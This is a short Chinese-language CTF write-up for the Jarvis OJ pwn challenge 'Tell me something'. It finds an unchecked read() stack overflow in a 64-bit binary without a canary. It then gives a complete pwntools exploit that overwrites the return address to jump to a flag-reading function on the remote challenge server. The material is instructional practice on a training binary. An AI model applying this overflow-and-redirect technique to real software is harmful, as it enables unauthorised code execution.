[Jarvisos]Tell me something

0x01

拿到題目首先檢查一下是32位還是64位

64位程式,未開啟canary棧保護

運行一下程式,檢查一下程式的運行邏輯

提示—>輸入—>輸出

0x02

ida反編譯一下,看一下程式碼邏輯是什麼

發現read函數在向v6讀入輸入的時候沒有判斷v6接受參數的大小範圍,而超出了v6所能接受的最大範圍,存在溢出

到這裡整體思路已經有了,就是利用這裡的read函數的棧溢出進行漏洞利用

那麼我這個時候首先是去找有沒有system函數來調用shell,找了一圈發現沒有,最終發現了一個有意思的函數

調用這個函數的時候,會直接對flag.txt進行讀取,所以我們只需要將溢出後的地址覆蓋到這裡就行

0x03

exp:

from pwn import *

debug = 0
if debug == 1:
	io = process("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
	elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
else:
	io = remote("pwn.jarvisoj.com", 9876)
	elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")

good_game_addr = elf.symbols["good_game"]
io.recvline()
payload = b'a' * 0x88 + p64(good_game_addr)
io.sendline(payload)
io.interactive()

這裡說一下踩到的坑,剛開始調試程式是在本地調試程式,發現一直不成功,後來發現其實這裡得不到shell,而是直接讀取的文件從而獲得flag,所以這裡程式要想本地調試成功,需要在當前目錄下創建flag.txt文件才可以

Tags: